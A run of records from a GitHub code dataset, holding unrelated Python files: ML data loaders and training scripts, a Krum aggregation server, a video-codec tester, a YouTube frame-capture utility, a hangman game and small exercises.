main(parser.parse_args())\n","repo_name":"gwcbi/HERV_annotation","sub_path":"python/add_subfamily.py","file_name":"add_subfamily.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34270646532","text":"import numpy as np\r\nimport pandas as pd\r\nimport os\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport seaborn as sns\r\nfrom sklearn.model_selection import train_test_split\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom skimage import io, transform\r\nimport matplotlib.pyplot as plt\r\nfrom torchvision import transforms, utils\r\nimport torchvision\r\nfrom torchvision import models\r\nfrom functools import partial\r\nimport csv\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sn\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom PIL import Image\r\n\r\nlabel_to_text = {0: \"Surprise\", 1: \"Fear\", 2: \"Disgust\", 3: \"Happiness\", 4: \"Sadness\", 5: \"Anger\", 6: \"Neutral\"}\r\n\r\n\r\nclass ToTensor(object):\r\n\r\n    def __call__(self, sample):\r\n        image, label, img_name, mode = sample['Image'], sample['Label'], sample['ImgName'], sample['Mode']\r\n\r\n        image = np.expand_dims(image, axis=0)\r\n\r\n        return {'Image': torch.from_numpy(image).float(), 'Label': label, 'ImgName': img_name, 'Mode': mode}\r\n\r\n\r\nclass RAF(Dataset):\r\n\r\n    def __init__(self, csv_file, root_dir, transform=None):\r\n\r\n        df = pd.read_csv(csv_file, header=None, names=['column1'])\r\n        df[['filename', 'label']] = df['column1'].str.split(' ', 1, expand=True)\r\n\r\n        self.ImgNames = df.drop('column1', axis=1)\r\n        self.root_dir = root_dir\r\n        self.transform = transform\r\n\r\n    def __len__(self):\r\n        return len(self.ImgNames)\r\n\r\n    def __getitem__(self, idx):\r\n        if torch.is_tensor(idx):\r\n            idx = idx.tolist()\r\n\r\n        img_name = os.path.join(self.root_dir, self.ImgNames.iloc[idx, 0])\r\n        img_name = img_name.replace(\".jpg\", \"\")\r\n        img_name = img_name + \"_aligned\" + \".jpg\"\r\n        label = self.ImgNames.iloc[idx, 1]\r\n        label = int(label[0]) - 1\r\n\r\n        #         image = Image.open(img_name).convert('RGB')\r\n        image = Image.open(img_name).convert('L')\r\n        image = np.array(image)\r\n        #         image = io.imread(img_name)\r\n\r\n        mode = \"\"\r\n        if self.ImgNames.iloc[idx, 0].startswith(\"train\"):\r\n            mode = \"train\"\r\n        if self.ImgNames.iloc[idx, 0].startswith(\"test\"):\r\n            mode = \"test\"\r\n\r\n        sample = {'Image': image, 'Label': label, 'ImgName': img_name, \"Mode\": mode}\r\n\r\n        if self.transform:\r\n            sample = self.transform(sample)\r\n\r\n        return sample\r\n\r\n\r\n########################################################################################################\r\ntransformed_dataset = RAF(csv_file='./RAF/list_patition_label.txt',\r\n                          root_dir='./RAF',\r\n                          transform=transforms.Compose([ToTensor()]))\r\n\r\ntrain_dataset = [sample for sample in transformed_dataset if sample['Mode'] == 'train']\r\ntest_dataset = [sample for sample in transformed_dataset if sample['Mode'] == 'test']\r\n\r\ntrain_dataset, val_dataset = train_test_split(train_dataset, test_size=0.25, random_state=42)\r\n\r\ntrain_transform = transforms.Compose([\r\n    transforms.RandomCrop(100),\r\n    transforms.RandomHorizontalFlip(),\r\n    transforms.RandomVerticalFlip()])\r\n\r\nfor sample in train_dataset:\r\n    sample[\"Image\"] = train_transform(sample[\"Image\"])\r\n\r\ntest_transform = transforms.Compose([\r\n    transforms.RandomCrop(100),\r\n    transforms.RandomHorizontalFlip(),\r\n    transforms.RandomVerticalFlip()])\r\n\r\nfor sample in val_dataset:\r\n    sample[\"Image\"] = test_transform(sample[\"Image\"])\r\n\r\nfor sample in test_dataset:\r\n    sample[\"Image\"] = test_transform(sample[\"Image\"])\r\n\r\n\r\n","repo_name":"QXGeraldMo/Facial-Expression-Recognition","sub_path":"data/RAF.py","file_name":"RAF.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15914218308","text":"def get_message(status='success', code='200', message='', data=''):\n    return {'status': status, 'code': code, 'message': message, 'data': data}\n\n\nERROR_INVALID_FILE_TYPE = 'Only .html and .txt files are permitted.'\nERROR_INVALID_NAME = 'File and folder names must start with a letter.'\nERROR_INVALID_URL = 'Valid characters include <br>( <strong>A-Z a-z 0-9 . _ -</strong> ).'\nERROR_INPUT_IS_MISSING = 'Please enter a relative path and file name.'\nERROR_DELETE_INPUT_IS_MISSING = 'Please enter a relative path to a file or folder.'\nERROR_DELETE_ENTIRE_NOTES_FOLDER = 'This would delete the entire notes folder.'\nERROR_NOTES_FOLDER_EMPTY = 'This notes folder is missing, empty, or contains the wrong file types.'\nERROR_FILE_DOES_NOT_EXIST = 'File does not exist.'\nERROR_FILE_OR_DIRECTORY_DOES_NOT_EXIST = 'The file or folder does not exist.'\nERROR_DUPLICATE_FILES_NOT_PERMITTED = 'Duplicate. All file and folder names must be unique.'\nERROR_STRING_IS_OUT_OF_RANGE = 'string index out of range'\nERROR_UNKNOWN = 'Unknown error.'\nSUCCESS_GET_DIRECTORIES = 'The notes folders and files were successfully retrieved.'\nSUCCESS_SAVED = 'Your note was saved.'\nSUCCESS_NOTE_CREATED = 'Your note was created.'\nSUCCESS_NOTE_DELETED = 'Your note was deleted.'\nSUCCESS_DIRECTORY_AND_NOTES_DELETED = 'Your folder and all of its contents were deleted.'\n","repo_name":"milesnature/html-notes-python","sub_path":"app/messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42259018483","text":"\"\"\"\nThe multi-Krum algorithm proposed in `https://papers.nips.cc/paper/2017/hash/f4b9ec30ad9f68f89b29639786cb62ef-Abstract.html <https://papers.nips.cc/paper/2017/hash/f4b9ec30ad9f68f89b29639786cb62ef-Abstract.html>`_\nit is designed to be robust to Byzantine faults with i.i.d. environments.\n\"\"\"\n\nimport jax.numpy as jnp\nimport numpy as np\n\nfrom ymir.utils import functions\n\nfrom . import server\n\n\nclass Server(server.Server):\n\n    def __init__(self, network, params, clip=3, **kwargs):\n        \"\"\"\n        Construct the FoolsGold server.\n        Optional arguments:\n        - clip: the number of expected faults in each round.\n        \"\"\"\n        super().__init__(network, params, **kwargs)\n        self.clip = clip\n\n    def step(self):\n        all_params, all_loss, _ = self.network(self.params)\n        self.update(functions.scale_sum(all_params, krum(all_params, len(all_params), self.clip)))\n        return jnp.mean(all_loss)\n\n\ndef krum(X, n, clip):\n    n = len(X)\n    scores = np.zeros(n)\n    distances = np.sum(X**2, axis=1)[:, None] + np.sum(X**2, axis=1)[None] - 2 * np.dot(X, X.T)\n    for i in range(len(X)):\n        scores[i] = np.sum(np.sort(distances[i])[1:((n - clip) - 1)])\n    idx = np.argpartition(scores, n - clip)[:(n - clip)]\n    alpha = np.zeros(n)\n    alpha[idx] = 1\n    return alpha\n","repo_name":"codymlewis/ymir","sub_path":"ymir/server/krum.py","file_name":"krum.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"9066637731","text":"import os\nimport argparse\nfrom logging import getLogger\nimport torch\nimport torch.multiprocessing as mp\nimport torch.distributed as dist\nfrom recbole.utils import init_seed, init_logger\n\nfrom config import Config\nfrom unisrec import UniSRec\nfrom data.dataset import PretrainUniSRecDataset\nfrom data.dataloader import CustomizedTrainDataLoader\nfrom trainer import DDPPretrainTrainer\n\n\ndef pretrain(rank, world_size, dataset, **kwargs):\n    # configurations initialization\n    props = ['props/UniSRec.yaml', 'props/pretrain.yaml']\n    if rank == 0:\n        print('DDP Pre-training on:', dataset)\n        print(props)\n\n    # configurations initialization\n    kwargs.update({'ddp': True, 'rank': rank, 'world_size': world_size})\n    config = Config(model=UniSRec, dataset=dataset, config_file_list=props, config_dict=kwargs)\n    init_seed(config['seed'], config['reproducibility'])\n    # logger initialization\n    if config['rank'] not in [-1, 0]:\n        config['state'] = 'warning'\n    init_logger(config)\n    logger = getLogger()\n    logger.info(config)\n\n    # dataset filtering\n    dataset = PretrainUniSRecDataset(config)\n    logger.info(dataset)\n\n    pretrain_dataset = dataset.build()[0]\n    pretrain_data = CustomizedTrainDataLoader(config, pretrain_dataset, None, shuffle=True)\n\n    # model loading and initialization\n    model = UniSRec(config, pretrain_data.dataset)\n    logger.info(model)\n\n    # trainer loading and initialization\n    trainer = DDPPretrainTrainer(config, model)\n\n    # model pre-training\n    trainer.pretrain(pretrain_data, show_progress=(rank == 0))\n\n    dist.destroy_process_group()\n\n    return config['model'], config['dataset']\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-d', type=str, default='FHCKM', help='dataset name')\n    parser.add_argument('-p', type=str, default='12355', help='port for ddp')\n    args, unparsed = parser.parse_known_args()\n\n    n_gpus = torch.cuda.device_count()\n    assert n_gpus >= 2, f\"Requires at least 2 GPUs to run, but got {n_gpus}.\"\n    world_size = n_gpus\n\n    os.environ['MASTER_ADDR'] = 'localhost'\n    os.environ['MASTER_PORT'] = args.p\n\n    mp.spawn(pretrain,\n             args=(world_size, args.d,),\n             nprocs=world_size,\n             join=True)\n","repo_name":"RUCAIBox/UniSRec","sub_path":"ddp_pretrain.py","file_name":"ddp_pretrain.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"35"}
{"seq_id":"1145782091","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nModule for generating, loading, and processing training and test images.\n\n@author: khe\n\"\"\"\nfrom pytube import YouTube\nimport cv2\nimport numpy as np\nimport tables\nimport os\n\n###############################################################################\n# Data Generation\n###############################################################################\n\nclass TrainTable(tables.IsDescription):\n    \"\"\"Table in hdf5 file for storing color image array.\n    \n    \"\"\"\n    L = tables.UInt8Col(pos=0)\n    A = tables.UInt8Col(pos=1)\n    B = tables.UInt8Col(pos=2)\n    \nclass TestTable(tables.IsDescription):\n    \"\"\"Table in hdf5 file for storing grayscale image array.\n    \n    \"\"\"\n    L = tables.UInt8Col(pos=0)\n    \ndef capture_youtube(url, filename, skip_open=0, skip_end=0, interval=None, mode='LAB'):\n    \"\"\"\n    Download a YouTube video, take screenshots, and return them as array.\n\n    Parameters\n    ----------\n    url : str\n        Link to Youtube video.\n    filename : str\n        Output filename without extension.\n    skip_open : int, optional\n        Number of seconds to skip at the beginning of video. The default is 0.\n    skip_end : int, optional\n        Number of seconds to skip at the end of video. The default is 0.\n    interval : int, optional\n        Number of frames between each screenshot, default is number of frames \n        per second.\n    mode: str, optional\n        `RGB`, `LAB` (color) or `L` (grayscale). The default is `LAB`. \n\n    Returns\n    -------\n    None.\n\n    \"\"\"\n    assert mode in ('RGB', 'L', 'LAB')\n    \n    # Download video from YouTube\n    video = YouTube(url)\n    \n    for stream in video.streams.filter(file_extension = \"mp4\"):\n        # Get the 360p video stream\n        if stream.mime_type == 'video/mp4':\n            if stream.resolution == '360p':\n                if not os.path.isfile('data'+filename+'.mp4'):\n                    stream.download(filename=filename, output_path='data')\n                break\n            \n    # Extract frames from video\n    vid_cap = cv2.VideoCapture('data'+filename+'.mp4')\n    fps = vid_cap.get(cv2.CAP_PROP_FPS)\n    total_frames = vid_cap.get(cv2.CAP_PROP_FRAME_COUNT)\n    if interval is None:\n        interval = int(fps)\n    \n    frame_count = 0\n    if mode in ('RGB', 'LAB'):\n        data = np.empty((0, 360, 480, 3)).astype('uint8')\n    else:\n        data = np.empty((0, 360, 480, 1)).astype('uint8')\n        \n    while vid_cap.isOpened():\n        \n        success,image = vid_cap.read() \n        \n        if not success:\n            break\n        \n        # Skip the openning and title (first 75 seconds)\n        if frame_count >= fps*skip_open:\n            # Get one image per second of footage\n            # The videos are about 50-60 minutes long, this will result in about 3000-3600 images per video\n            if frame_count % interval == 0:\n                # Trim if aspect ratio is not right\n                if image.shape[1] == 640:\n                    image = image[:,80:-80,:]\n                # Default color scheme in openCV is BGR, covert to RGB\n                if mode == 'RGB':\n                    # Skip frame if it's black screen\n                    if np.nanmax(image) < 5:\n                        continue\n                    image = image[:,:,::-1]\n                elif mode == 'LAB':\n                    image = cv2.cvtColor(image, cv2.COLOR_BGR2Lab)\n                    # Skip frame if it's black screen\n                    if np.nanmax(image[:,:,0]) < 5:\n                        continue\n                else: \n                    # Skip frame if it's black screen\n                    if np.nanmax(image[:,:,0]) < 5:\n                        continue                    \n                    image = image[:,:,:1]\n                data = np.concatenate((data, np.expand_dims(image, axis=0)))\n            \n        frame_count += 1\n        \n        # Skip the end\n        if frame_count >= (total_frames-fps*skip_end):\n            break\n    \n    vid_cap.release()\n    cv2.destroyAllWindows()\n    \n    return data\n\ndef build_database():\n    '''Create images from YouTube videos and store into HDF5 file.\n\n    '''\n\n    # Create HDF5 file\n    mdb = tables.open_file('data/youtube_data.h5', mode=\"w\")\n    filters = tables.Filters(complevel=5, complib='blosc')\n    # Create tables\n    mdb.create_table('/', 'Train', TrainTable, filters=filters)\n    mdb.create_table('/', 'Test', TestTable, filters=filters)\n    mdb.flush()\n    mdb.close()\n    \n    # Training Set\n    video_urls = [\n        'https://www.youtube.com/watch?v=aRRYIe6hXTQ&list=PLklyfwlKNjxD52EQbChCopHxWdAXBX0cg',\n        'https://www.youtube.com/watch?v=NZlBM8hw3cg&list=PLklyfwlKNjxD52EQbChCopHxWdAXBX0cg&index=3',\n        'https://www.youtube.com/watch?v=_PhHKIufB4Q&list=PLklyfwlKNjxD52EQbChCopHxWdAXBX0cg&index=4',\n        'https://www.youtube.com/watch?v=w4Jfm4J-9tw',\n        'https://www.youtube.com/watch?v=PmZP_efIOhQ'\n        ]\n    \n    for i in range(len(video_urls)):\n        filename = 'video_%s'%i\n        data = capture_youtube(video_urls[i], filename, 75, 60)\n        L = data[:,:,:,0].flatten()\n        A = data[:,:,:,1].flatten()\n        B = data[:,:,:,2].flatten()\n        \n        mdb = tables.open_file('data/youtube_data.h5', mode=\"r+\")\n        data_table = mdb.root.Train\n        data_table.append(np.stack((L,A,B), axis=1))\n        data_table.flush()\n        mdb.close()\n        \n    # Test Set\n    data = capture_youtube('https://www.youtube.com/watch?v=QSegeI5Qn6A',\n                           'data/test_data', interval=1, mode='L')\n    L = data[:,:,:,0].flatten()\n    \n    mdb = tables.open_file('data/youtube_data.h5', mode=\"r+\")\n    data_table = mdb.root.Test\n    data_table.append(L)\n    data_table.flush()\n    mdb.close()\n    \n###############################################################################\n# Image Loading and Preprocessing\n###############################################################################\n\ndef load_training_data(filename, start_idx=None, end_idx=None, img_height=360, img_width=480):\n    '''\n    Get a set of training images from HDF5.\n\n    Parameters\n    ----------\n    filename : str\n        Full path to HDF5.\n    start_idx : int, optional\n        Starting image index, default is None (load all images).\n    end_idx : int, optional\n        Ending image index, default is None (load all images).\n    img_height : int, optional\n        Output image height, default is 360 (no trimming in height).\n    img_width : int, optional\n        Output image width, default is 480 (no trimming in width).\n\n    Returns\n    -------\n    data : numpy array\n        Image array in float, ranges between -1 and 1 in `LAB` colorspace and \n        `NHWC` format.\n\n    '''\n    mdb = tables.open_file(filename)\n    tbl = mdb.root.Train\n    if (start_idx is None) and (end_idx is None):\n        L = tbl.cols.L[:]\n        A = tbl.cols.A[:]\n        B = tbl.cols.B[:]\n    else:\n        assert (start_idx is not None) and (end_idx is not None), 'Please provide both start and end indices.'\n        start_idx = int(start_idx*360*480)\n        end_idx = int(end_idx*360*480)\n        L = tbl.cols.L[start_idx:end_idx]\n        A = tbl.cols.A[start_idx:end_idx]\n        B = tbl.cols.B[start_idx:end_idx]\n    mdb.close()\n    \n    img_size = (360, 480)\n    n = int(L.shape[0]/np.prod(img_size))\n    L = L.reshape(n, img_size[0], img_size[1])\n    A = A.reshape(n, img_size[0], img_size[1])\n    B = B.reshape(n, img_size[0], img_size[1])\n    \n    data = np.stack((L, A, B), axis=3)/127.5-1\n    data = np.array([cv2.resize(x, (img_width, img_height)) for x in data])\n    return data\n\ndef load_test_data(filename, start_idx=None, end_idx=None, img_height=360, img_width=480):\n    '''\n    Get a set of test images from HDF5.\n\n    Parameters\n    ----------\n    filename : str\n        Full path to HDF5.\n    start_idx : int, optional\n        Starting image index, default is None (load all images).\n    end_idx : int, optional\n        Ending image index, default is None (load all images).\n    img_height : int, optional\n        Output image height, default is 360 (no trimming in height).\n    img_width : int, optional\n        Output image width, default is 480 (no trimming in width).\n\n    Returns\n    -------\n    data : numpy array\n        Image array in float, ranges between -1 and 1 in `LAB` colorspace and \n        `NHWC` format.\n\n    '''\n    mdb = tables.open_file(filename)\n    tbl = mdb.root.Test\n    if (start_idx is None) and (end_idx is None):\n        L = tbl.cols.L[:]\n    else:\n        assert (start_idx is not None) and (end_idx is not None), 'Please provide both start and end indices.'\n        start_idx = int(start_idx*360*480)\n        end_idx = int(end_idx*360*480)\n        L = tbl.cols.L[start_idx:end_idx]\n    mdb.close()\n    \n    img_size = (360, 480)\n    n = int(L.shape[0]/np.prod(img_size))\n    L = L.reshape(n, img_size[0], img_size[1])\n    \n    data = np.expand_dims(L, axis=3)/127.5-1\n    data = np.expand_dims(np.array([cv2.resize(x, (img_width, img_height)) for x in data]), axis=3)\n    return data","repo_name":"katieshiqihe/colorizer","sub_path":"datautils.py","file_name":"datautils.py","file_ext":"py","file_size_in_byte":9067,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"27651933812","text":"\n## 1st\nrows = int(input())\n\nmatrix = []\n\nfor _ in range(rows):\n    inner_list = list(input())\n    matrix.append(inner_list)\n\nsearched_symbol = input()\nposition = None\n\nfor i in range(rows):\n    if position:\n        break\n    for j in range(len(matrix[i])): # or range(i)\n        if matrix[i][j] == searched_symbol:\n            position = (i,j)\n            break\nif position:\n    print(position)\nelse:\n    print(f\"{searched_symbol} does not occur in the matrix\")\n","repo_name":"VentsislavVR/SoftUni-Advanced-OOP-2023","sub_path":"Advanced/0.Advanced May 2023/3.Multidimensional Lists Lab/6.Symbol in Matrix.py","file_name":"6.Symbol in Matrix.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2074902711","text":"\nimport random\n\nfile=open(\"words.txt\",'r')\nlis=file.read().split()\nword_length=None\n\ndef get_choice():\n    i=1\n    while i==1:\n        n=int(input(\"Enter the number of wrong guesses[1-25]: \"))\n        if n>=1 and n<=25:\n            return n\n            i=2\n        else:\n            print(\"Enter the value between [1-10]\")\n\n\ndef get_word_length():\n    i = 1\n    while i == 1:\n        n = int(input(\"Enter the word length[4-10]: \"))\n        if n >= 4 and n <= 10:\n            return n\n            i = 2\n        else:\n            print(\"Enter the value between [4-10]!\")\n\n\ndef get_word():\n    word=random.choice(lis)\n    if len(word)>=word_length:\n        return word\n    return get_word()\n\n\ndef game(choice):\n    word = get_word()\n    str='*'*len(word)\n    stack=[]\n    print('')\n    while choice!=0:\n        if word == str:\n            print(\"Hurray you got it right!!\\nWord :\",word)\n            return\n        print(\"Word :\",str)\n        print(\"Attempts remaining : \",choice)\n        print(\"Previous guesses :\",end=' ')\n        for i in stack:\n            print(i,end=' ')\n        print('')\n        letter=input(\"Choose the next letter : \")\n        letter=letter.strip()\n        if letter not in stack:\n            if letter not in word:\n                print(letter,'is not in the word!')\n                choice-=1\n                stack.append(letter)\n            else:\n                print(letter,'is in the word!')\n                index=word.find(letter)\n                str=str[:index]+letter+str[index+1:]\n                stack.append(letter)\n            print('')\n        else:\n            print(letter,\"is already tried before\\n\")\n    print(\"Sorry! You have 0 attempts left.\")\n    print(\"The word is :\",word,'\\n\\n')\n\n\nif __name__=='__main__':\n    while(1):\n        n=int(input(\"1.Play\\t2.Exit\\nEnter the choice : \"))\n        if n==1:\n            choice=get_choice()\n            word_length=get_word_length()\n            game(choice)\n        else:\n            print(\"Thanks for playing!\")\n            exit(0)\n","repo_name":"akrithnayak/hangman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"13043270080","text":"import os\r\nimport argparse\r\nimport csv\r\nimport pandas as pd\r\nimport torch\r\nfrom torch.utils.data import DataLoader\r\nfrom torchvision.utils import save_image\r\nfrom tqdm import tqdm\r\nfrom src.models.model import BCANF\r\nfrom src.datasets.dataset import VideoDataset\r\nfrom src.util.tools import seed_everything, estimate_bpp, get_setting, get_order\r\nfrom src.util.metrics import psnr as psnr_fn\r\nfrom src.util.metrics import MS_SSIM\r\nfrom src.util.stream import Stream\r\n\r\n\r\nclass Tester:\r\n\r\n    def __init__(self, args, model):\r\n        self.args = args\r\n        self.model = model\r\n        self.psnr_fn = psnr_fn\r\n        self.ssim_fn = MS_SSIM(data_range=1., reduction=\"none\").to(args.device)\r\n\r\n    @torch.no_grad()\r\n    def quality_fn(self, rec, target):\r\n        rec = rec.clamp(0, 1)\r\n        psnr = self.psnr_fn(rec, target).mean()\r\n        ssim = self.ssim_fn(rec, target).mean()\r\n        return psnr, ssim\r\n\r\n    @staticmethod\r\n    @torch.no_grad()\r\n    def rate_fn(likelihood, input):\r\n        rate_y = estimate_bpp(likelihood['z'], input=input).mean()\r\n        rate_z = estimate_bpp(likelihood['h'], input=input).mean()\r\n        rate = rate_y + rate_z\r\n        return rate\r\n    \r\n    @torch.no_grad()\r\n    def test(self, eval_mode=\"test\"):\r\n        dataset = VideoDataset(self.args.src, self.args.num_frames, self.args.intra_period, self.args.gop_size)        \r\n        test_loader = DataLoader(dataset, batch_size=1, num_workers=0, shuffle=False)\r\n        order = get_order(dataset.pairs)\r\n        \r\n        _, img = next(test_loader.__iter__())\r\n        shape = img.size()[-2:]\r\n        num_frames = len(dataset)\r\n        \r\n        name = os.path.basename(self.args.src)\r\n        os.makedirs(self.args.save_dir, exist_ok=True)\r\n        \r\n        if eval_mode == \"compress\":\r\n            stream = Stream(os.path.join(self.args.save_dir, f\"{name}.bin\"), 'wb')\r\n            stream.write_header(self.args.intra_period, self.args.gop_size, shape, num_frames)\r\n        \r\n        csv_report = open(os.path.join(self.args.save_dir, f\"{name}.csv\"), 'w', newline='')\r\n        writer = csv.writer(csv_report, delimiter=',')\r\n        writer.writerow([\"frame_idx\", \"psnr\", \"ms-ssim\", \"rate\", \"coding mode\"])\r\n        \r\n        frame_buffer = {}\r\n        frame_bias = 1\r\n        for i, (pair, x) in tqdm(enumerate(test_loader), total=len(test_loader)):\r\n            img = x.to(self.args.device)\r\n            pair = [int(p) for p in pair]\r\n            \r\n            inputs = {\"xt\": img}\r\n            if len(pair) == 1:\r\n                frame_idx = pair[0]\r\n                mode = \"i-frame\"\r\n                frame_type = -1\r\n            elif len(pair) == 2:\r\n                frame_idx = pair[1]\r\n                inputs['x1'] = frame_buffer[pair[0]]\r\n                mode = \"b*-frame\"\r\n                frame_type = 2\r\n            else:\r\n                frame_idx = pair[1]\r\n                inputs['x1'] = frame_buffer[pair[0]]\r\n                inputs['x2'] = frame_buffer[pair[-1]]\r\n                \r\n                if order[pair[0]] > order[pair[-1]]:\r\n                    inputs['x1'], inputs['x2'] = inputs['x2'], inputs['x1']\r\n                \r\n                mode = \"b-frame\"\r\n                if abs(pair[-1] - pair[0]) > 2:\r\n                    frame_type = 0\r\n                else:\r\n                    frame_type = 1\r\n                \r\n            output = self.model(inputs, mode, frame_type, shape, eval_mode)\r\n            psnr, ssim = self.quality_fn(output[\"rec_frame\"], img)\r\n            \r\n            if eval_mode == \"test\":\r\n                rate = sum([self.rate_fn(l, img) for l in output[\"likelihood\"]])\r\n            elif eval_mode == \"compress\":\r\n                bytes = sum([stream.writeStream(s['z']) + \\\r\n                             stream.writeStream(s['h']) for s in output[\"likelihood\"]])\r\n                rate = bytes * 8 / (shape[0] * shape[1])\r\n\r\n            writer.writerow([frame_idx + frame_bias, float(psnr), float(ssim), float(rate), mode])\r\n            csv_report.flush()\r\n\r\n            frame_buffer[frame_idx] = output[\"rec_frame\"]\r\n            if i > 0 and i  % self.args.intra_period == 0:\r\n                frame_buffer = {0: frame_buffer[self.args.intra_period]}\r\n                frame_bias += self.args.intra_period\r\n\r\n        if eval_mode == \"compress\":\r\n            stream.close()\r\n\r\n        df = pd.read_csv(csv_report.name)\r\n        average = df.loc[:, df.columns != 'coding mode'].mean()\r\n        writer.writerow([\"average\", float(average['psnr']), float(average['ms-ssim']), float(average['rate'])])\r\n        csv_report.close()\r\n\r\n    @torch.no_grad()\r\n    def compress(self):\r\n        self.test(eval_mode=\"compress\")\r\n        \r\n    @torch.no_grad()\r\n    def decompress(self):\r\n        eval_mode = \"decompress\"\r\n        stream = Stream(self.args.src, 'rb')\r\n        self.args.intra_period, self.args.gop_size, shape, num_frames = stream.read_header()\r\n        dataset = VideoDataset(self.args.src, num_frames, self.args.intra_period, \r\n                               self.args.gop_size, no_img=True)        \r\n        test_loader = DataLoader(dataset, batch_size=1, num_workers=0, shuffle=False)\r\n        order = get_order(dataset.pairs)\r\n          \r\n        name = \"rec_\" + os.path.basename(self.args.src)[:-4]\r\n        self.args.save_dir = os.path.join(self.args.save_dir, name)\r\n        os.makedirs(self.args.save_dir, exist_ok=True)\r\n        \r\n        frame_buffer = {}\r\n        frame_bias = 1\r\n        for i, pair in tqdm(enumerate(test_loader), total=len(test_loader)):\r\n            pair = [int(p) for p in pair]\r\n            \r\n            inputs = {}\r\n            if len(pair) == 1:\r\n                frame_idx = pair[0]\r\n                inputs['xt'] = stream.readStream()\r\n                mode = \"i-frame\"\r\n                frame_type = -1\r\n            elif len(pair) == 2:\r\n                frame_idx = pair[1]\r\n                inputs['x1'] = frame_buffer[pair[0]]\r\n                inputs['xt'] = {\r\n                    \"residual_stream\": stream.readStream(),\r\n                    \"motion_stream\": stream.readStream(),\r\n                }\r\n                mode = \"b*-frame\"\r\n                frame_type = 2\r\n            else:\r\n                frame_idx = pair[1]\r\n                inputs['x1'] = frame_buffer[pair[0]]\r\n                inputs['x2'] = frame_buffer[pair[-1]]\r\n                inputs['xt'] = {\r\n                    \"residual_stream\": stream.readStream(),\r\n                    \"motion_stream\": stream.readStream(),\r\n                }\r\n                \r\n                if order[pair[0]] > order[pair[-1]]:\r\n                    inputs['x1'], inputs['x2'] = inputs['x2'], inputs['x1']\r\n                \r\n                mode = \"b-frame\"\r\n                if abs(pair[-1] - pair[0]) > 2:\r\n                    frame_type = 0\r\n                else:\r\n                    frame_type = 1\r\n                \r\n            output = self.model(inputs, mode, frame_type, shape, eval_mode)\r\n            filename = os.path.join(self.args.save_dir, f\"frame_{frame_idx + frame_bias}.png\")\r\n            save_image(output[\"rec_frame\"], filename)\r\n            \r\n            frame_buffer[frame_idx] = output[\"rec_frame\"]\r\n            if i > 0 and i  % self.args.intra_period == 0:\r\n                frame_buffer = {0: frame_buffer[self.args.intra_period]}\r\n                frame_bias += self.args.intra_period\r\n\r\n        stream.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n    seed_everything(888888)\r\n    torch.backends.cudnn.deterministic = True\r\n     \r\n    parser = argparse.ArgumentParser(add_help=True)\r\n    parser.add_argument(\"--config\",           type=str, default=\"./cfgs/bcanf.yaml\")\r\n    parser.add_argument('--src',              type=str, required=True)\r\n    parser.add_argument('--ckpt',             type=str, required=True)\r\n    parser.add_argument('--save_dir',         type=str, required=True)\r\n    parser.add_argument('--mode',             type=str, choices=[\"test\", \"compress\", \"decompress\"], required=True)\r\n    parser.add_argument('--intra_period',     type=int, default=32, help=\"intra period\")\r\n    parser.add_argument('--gop_size',         type=int, default=16, help=\"gop size\")\r\n    parser.add_argument('--device',           type=str, choices=[\"cuda\", \"cpu\"], default=\"cuda\")\r\n    parser.add_argument('--num_workers',      type=int, default=8)\r\n    parser.add_argument('--num_frames',       type=int, default=-1, help=\"number of frame to test\")\r\n    args = parser.parse_args()  \r\n    \r\n    if args.mode in [\"test\", \"compress\"]:\r\n        if args.num_frames < 0:\r\n            parser.error(\"test/compress mode requires --num_frames\")\r\n    \r\n    args = parser.parse_args()\r\n\r\n    config = get_setting(args.config)\r\n    model = BCANF(config).to(args.device)\r\n    model.eval()\r\n    model.load_state_dict(torch.load(args.ckpt, map_location=args.device), strict=True)\r\n    \r\n    tester = Tester(args, model)\r\n    if args.mode == \"test\":\r\n        tester.test()\r\n    elif args.mode == \"compress\":\r\n        tester.compress()\r\n    elif args.mode == \"decompress\":\r\n        tester.decompress()\r\n    else:\r\n        raise ValueError(f\"invalid running mode: {args.mode}\")\r\n","repo_name":"NYCU-MAPL/B-CANF","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9105,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
